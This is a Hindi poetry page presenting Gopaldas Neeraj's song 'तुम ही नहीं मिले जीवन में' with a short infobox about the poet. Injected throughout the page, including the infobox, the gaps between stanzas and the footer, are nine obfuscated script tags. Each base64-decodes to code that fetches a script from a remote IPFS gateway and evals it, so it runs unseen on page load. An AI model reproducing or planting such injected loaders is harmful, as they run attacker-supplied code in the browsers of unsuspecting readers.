तुम ही नहीं मिले जीवन में -गोपालदास नीरज
|
|
|
|
कवि
|
गोपालदास नीरज
|
जन्म
|
4 जनवरी, 1925
|
मुख्य रचनाएँ
|
दर्द दिया है, प्राण गीत, आसावरी, गीत जो गाए नहीं, बादर बरस गयो, दो गीत, नदी किनारे, नीरज की पाती, लहर पुकारे, मुक्तकी, गीत-अगीत, विभावरी, संघर्ष, अंतरध्वनी, बादलों से सलाम लेता हूँ, कुछ दोहे नीरज के
|
इन्हें भी देखें
|
कवि सूची, साहित्यकार सूची
| <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
पीड़ा मिली जनम के द्वारे अपयश नदी किनारे
इतना कुछ मिल पाया एक बस तुम ही नहीं मिले जीवन में
हुई दोस्ती ऐसी दु:ख से
हर मुश्किल बन गई रुबाई,
इतना प्यार जलन कर बैठी
क्वाँरी ही मर गई जुन्हाई,
बगिया में न पपीहा बोला, द्वार न कोई उतरा डोला,
सारा दिन कट गया बीनते काँटे उलझे हुए बसन में।
पीड़ा मिली जनम के द्वारे अपयश नदी किनारे
इतना कुछ मिल पाया एक बस तुम ही नहीं मिले जीवन में
कहीं चुरा ले चोर न कोई
दर्द तुम्हारा, याद तुम्हारी,
इसीलिए जगकर जीवन-भर
आँसू ने की पहरेदारी,
बरखा गई सुने बिन वंशी औ' मधुमास रहा निरवंशी,
गुजर गई हर ऋतु ज्यों कोई भिक्षुक दम तोड़े दे विजन में।
पीड़ा मिली जनम के द्वारे अपयश नदी किनारे
इतना कुछ मिल पाया एक बस तुम ही नहीं मिले जीवन में
घट भरने को छलके पनघट
सेज सजाने दौड़ी कलियाँ,
पर तेरी तलाश में पीछे
छूट गई सब रस की गलियाँ,
सपने खेल न पाए होली, अरमानों के लगी न रोली,
बचपन झुलस गया पतझर में, यौवन भीग गया सावन में।
पीड़ा मिली जनम के द्वारे अपयश नदी किनारे
इतना कुछ मिल पाया एक बस तुम ही नहीं मिले जीवन में
मिट्टी तक तो रुंदकर जग में कंकड़ से बन गई खिलौना,
पर हर चोट ब्याह करके भी
मेरा सूना रहा बिछौना,
नहीं कहीं से पाती आई, नहीं कहीं से मिली बधाई
सूनी ही रह गई डाल इस इतने फूलों भरे चमन में।
पीड़ा मिली जनम के द्वारे अपयश नदी किनारे
इतना कुछ मिल पाया एक बस तुम ही नहीं मिले जीवन में
तुम ही हो वो जिसकी खातिर
निशि-दिन घूम रही यह तकली
तुम ही यदि न मिले तो है सब
व्यर्थ कताई असली-नकली,
अब तो और न देर लगाओ, चाहे किसी रूप में आओ,
एक सूत-भर की दूरी है बस दामन में और कफ़न में।
पीड़ा मिली जनम के द्वारे अपयश नदी किनारे
इतना कुछ मिल पाया एक बस तुम ही नहीं मिले जीवन में
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>